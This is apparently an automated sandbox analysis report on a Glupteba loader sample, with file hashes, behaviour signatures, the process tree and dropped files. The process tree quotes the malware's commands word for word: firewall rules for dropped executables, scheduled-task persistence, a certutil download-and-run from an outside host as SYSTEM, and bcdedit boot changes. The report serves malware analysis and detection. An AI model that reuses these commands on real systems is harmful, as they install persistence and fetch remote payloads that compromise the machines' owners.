Analysis
-
max time kernel
153s -
max time network
164s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
09-05-2022 00:36
General
-
Target
18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b.exe
-
Size
3.9MB
-
MD5
4f0898d549720a99de306bd1fceafd22
-
SHA1
e505b0ce2ad3918f71fa9e060557a92e1b7a48bc
-
SHA256
18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b
-
SHA512
5faa950f4b9aeb67cc1fcd72990fd78f889a837479edc6b4b206d4c70b3a12b66e265e448ce60a352e8626cfcf6594d65277e4cad698077c2a3fe4f9169d18ba
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 6 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
-
Executes dropped EXE 2 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
-
Drops file in Windows directory 2 IoCs
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 17 IoCs
-
Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b.exe"C:\Users\Admin\AppData\Local\Temp\18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b.exe"C:\Users\Admin\AppData\Local\Temp\18ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57c765cfdfac\57c765cfdfac.exe" enable=yes4⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD54f0898d549720a99de306bd1fceafd22
SHA1e505b0ce2ad3918f71fa9e060557a92e1b7a48bc
SHA25618ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b
SHA5125faa950f4b9aeb67cc1fcd72990fd78f889a837479edc6b4b206d4c70b3a12b66e265e448ce60a352e8626cfcf6594d65277e4cad698077c2a3fe4f9169d18ba
-
C:\Windows\rss\csrss.exeFilesize
3.9MB
MD54f0898d549720a99de306bd1fceafd22
SHA1e505b0ce2ad3918f71fa9e060557a92e1b7a48bc
SHA25618ee6f46fdab9f9f508bebe827d00d9a725639457cc3e1638a13cd905999772b
SHA5125faa950f4b9aeb67cc1fcd72990fd78f889a837479edc6b4b206d4c70b3a12b66e265e448ce60a352e8626cfcf6594d65277e4cad698077c2a3fe4f9169d18ba
-
memory/1212-140-0x0000000000000000-mapping.dmp
-
memory/1392-137-0x0000000000000000-mapping.dmp
-
memory/1552-139-0x0000000000000000-mapping.dmp
-
memory/1616-145-0x0000000005F00000-0x00000000065FC000-memory.dmpFilesize
7.0MB
-
memory/1616-141-0x0000000000000000-mapping.dmp
-
memory/1616-146-0x0000000000400000-0x0000000005157000-memory.dmpFilesize
77.3MB
-
memory/1616-144-0x0000000005B00000-0x0000000005EA9000-memory.dmpFilesize
3.7MB
-
memory/1976-134-0x00000000056AB000-0x0000000005A54000-memory.dmpFilesize
3.7MB
-
memory/1976-136-0x0000000000400000-0x0000000005157000-memory.dmpFilesize
77.3MB
-
memory/1976-133-0x0000000000000000-mapping.dmp
-
memory/1976-135-0x0000000005A60000-0x000000000615C000-memory.dmpFilesize
7.0MB
-
memory/3552-148-0x0000000000000000-mapping.dmp
-
memory/3592-151-0x0000000000000000-mapping.dmp
-
memory/3768-138-0x0000000000000000-mapping.dmp
-
memory/4292-147-0x0000000000000000-mapping.dmp
-
memory/4356-132-0x0000000000400000-0x0000000005157000-memory.dmpFilesize
77.3MB
-
memory/4356-130-0x0000000005871000-0x0000000005C1A000-memory.dmpFilesize
3.7MB
-
memory/4356-131-0x0000000005C20000-0x000000000631C000-memory.dmpFilesize
7.0MB
-
memory/4744-149-0x0000000000000000-mapping.dmp